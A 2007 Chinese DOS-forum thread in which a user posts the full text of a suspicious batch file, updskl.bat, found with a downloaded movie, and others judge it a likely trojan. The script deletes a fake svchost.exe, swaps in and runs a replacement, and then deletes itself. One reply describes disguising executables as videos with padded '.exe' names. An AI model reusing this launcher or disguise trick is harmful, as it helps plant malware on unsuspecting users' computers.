![]() |
中国DOS联盟-- 联合DOS 推动DOS 发展DOS --联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum |
| 游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟 |
|
中国DOS联盟论坛 现在时间是 2026-08-05 17:39 |
共 48,039 主题排行 / 350,124 发帖 / 今日 2 篇 / 48,251 会员排行 |
| DOS批处理 & 脚本技术(批处理室) » 下载电影后发现批处理文件updskl.bat,不明白其意图 |
| 可打印版本 2,557 / 15 |
| 第1楼 enjoyer | 发表于 2007-07-29 21:25 |
| 中级用户 发帖 140 积分 351 | |
|
下载电影后发现批处理文件updskl.bat,不明白其意图 电影文件夹中含有批处理文件updskl.bat,内容如下:
@echo off :loop del "C:\Program Files\Common Files\System\svchost.exe" del "C:\Program Files\Common Files\System\ver.txt" del "C:\Program Files\Common Files\System\she.dll" if exist "C:\Program Files\Common Files\System\svchost.exe" goto loop C: cd C:\Program Files\Common Files\System\ ren svchostnew.exe svchost.exe call "C:\Program Files\Common Files\System\svchost.exe" del "C:\Program Files\Common Files\System\updskl.bat" 第一步就强行删除原有的svchost.exe,第二步重命名svchostnew.exe 为svchost.exe然后执行之。看样子是想更新电脑中System夹下的svchost.exe,不明白是什么意图?有没有危险啊。请大家帮忙分析下,谢谢各位! [ Last edited by enjoyer on 2007-7-29 at 09:36 PM ] |
|
| 第2楼 wudixin96 | 发表于 2007-07-29 21:32 |
| 银牌会员 发帖 931 积分 1,928 | |
|
有什么问题吗?
可能是模拟svchost进程吧。 |
|
| 第3楼 enjoyer | 发表于 2007-07-29 21:39 |
| 中级用户 发帖 140 积分 351 | |
|
不知道跟下载的电影文件是什么关系,还有svchost进程我也不了解,会不会影响我系统的稳定性呢?请楼上朋友帮忙分析下,谢谢了。
|
|
| 第4楼 slore | 发表于 2007-07-29 21:53 |
| 铂金会员 发帖 2,478 积分 5,212 | |
|
系统的SVCHOST在SYSTEM32下,那个地方的不是正常的系统文件。
|
|
| 第5楼 BWSkyer | 发表于 2007-07-29 22:09 |
| 中级用户 发帖 180 积分 367 来自 重庆 | |
|
有点危险吧,不建议运行,感觉是的~~毕竟电影和svchost没有什么关系吧
|
|
| 第6楼 enjoyer | 发表于 2007-07-30 00:04 |
| 中级用户 发帖 140 积分 351 | |
|
就怕是自动运行的。如果不自动运行那也没什么好怕的。
|
|
| 第7楼 kich | 发表于 2007-07-30 12:24 |
| 中级用户 发帖 168 积分 397 | |
|
我想你那个电影文件可能是假冒的!图标是,但文件最后的后缀不是!
注意,是最后, 会有这样的文件: 001.avi(N多空格).exe 图标是假的 |
|
| 第8楼 frankkf | 发表于 2007-07-30 16:47 |
| 初级用户 发帖 43 积分 88 | |
|
楼上说的这个很有可能
建议楼主还是看一下~ |
|
| 第9楼 voiL | 发表于 2007-07-30 21:30 |
| 中级用户 发帖 189 积分 384 | |
|
不知道哈,反正不要去打开它就好了...
|
|
| 第10楼 taoty | 发表于 2007-08-02 22:58 |
| 中级用户 发帖 112 积分 275 | |
|
这个批处理肯定有问题,svchost.exe路径不正确。
|
|
| 第11楼 jinlizhpc | 发表于 2007-08-03 12:45 |
| 初级用户 发帖 74 积分 165 | |
|
危险性,勿行
|
|
| 第12楼 webjump | 发表于 2007-08-03 17:07 |
| 初级用户 发帖 15 积分 30 | |
|
应该是木马
|
|
| 第13楼 enjoyer | 发表于 2007-08-03 21:41 |
| 中级用户 发帖 140 积分 351 | |
|
谢谢大家帮忙!下载的电影文件是真的(.rm格式),可以正常播放。也没有再理会这个批处理文件。不过有没有在电影播放中偷偷运行就不知道了。
|
|
| 第14楼 ldr2zjj | 发表于 2007-08-07 01:29 |
| 初级用户 发帖 95 积分 167 | |
|
把那个文件改名了再研究~~
|
|
| 第15楼 kingyn | 发表于 2007-08-27 19:44 |
| 初级用户 发帖 21 积分 32 | |
|
svchost.exe是很重要的
楼主应该多点小心 |
|
| 1 2 下一页 |
|
[ 联系联盟系统管理团队 -
中国DOS联盟 -
标准版 ] Sponsored by ifanr Inc | © 2001–2023 |